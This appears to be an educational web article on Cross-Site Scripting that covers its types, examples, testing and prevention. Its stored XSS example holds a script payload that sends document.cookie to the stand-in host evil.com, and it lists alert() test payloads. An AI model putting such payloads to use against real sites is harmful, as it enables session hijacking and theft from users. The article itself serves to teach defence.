🔎 What is Cross-Site Scripting?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. It can lead to session hijacking, defacement, redirection, and more. XSS remains a top risk in the OWASP Top 10.
📂 Types of XSS
1. Stored XSS
Malicious script is permanently stored on the server (e.g., in a database). When a user loads the page, the script executes automatically.
2. Reflected XSS
The payload is reflected off a web server, typically via a query parameter. It executes immediately without being stored.
3. DOM-Based XSS
Occurs when the vulnerability is in the client-side JavaScript, modifying the DOM without proper sanitization.
🌐 Real-World Examples
Reflected XSS Example
http://example.com/search?q=<script>alert('XSS')</script>
If the response includes the query directly without sanitization:
<div>Search results for: <script>alert('XSS')</script></div>
Stored XSS Example
User posts the following comment:
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
If the application renders it to other users without escaping, the attack executes every time the comment loads.
🧠 How XSS Works – Step-by-Step
- The attacker identifies an input field that reflects data unsafely (e.g., URL, form input, comment box).
- They inject a JavaScript payload (e.g.,
alert()
, data exfiltration). - The vulnerable page renders the input as executable code rather than plain text.
- The victim visits the page, and the script executes in their browser context.
- Attacker gains control – possibly stealing session cookies, redirecting users, or modifying content.
🔬 How to Test for XSS
- Use test payloads like
<script>alert(1)</script>
in parameters or form inputs - Inspect HTTP responses to see if input is echoed back unsanitized
- Use developer tools (DOM inspection) for client-side (DOM-based) XSS
- Automate testing with tools: XSStrike, Burp Suite, OWASP ZAP
🛡️ How to Prevent XSS
- Output Encoding: Encode all dynamic content using libraries like OWASP's ESAPI or built-in frameworks (e.g., React auto-escapes)
- Input Validation: Validate and sanitize user input early and strictly
- Content Security Policy (CSP): Prevent inline script execution and restrict external resources
- Use HTTPOnly & Secure cookies: To protect against session theft
- Disable eval-like functions: Avoid using
eval()
,innerHTML
,document.write()
unnecessarily
💡 Pro Tips
- Start by testing URL parameters and user inputs that get reflected
- Check for filtering mechanisms – try breaking out of HTML tags or attributes
- Use browser extensions like XSS Radar or XSS Me to test automatically
- Always confirm execution – seeing your payload in the source code ≠ vulnerability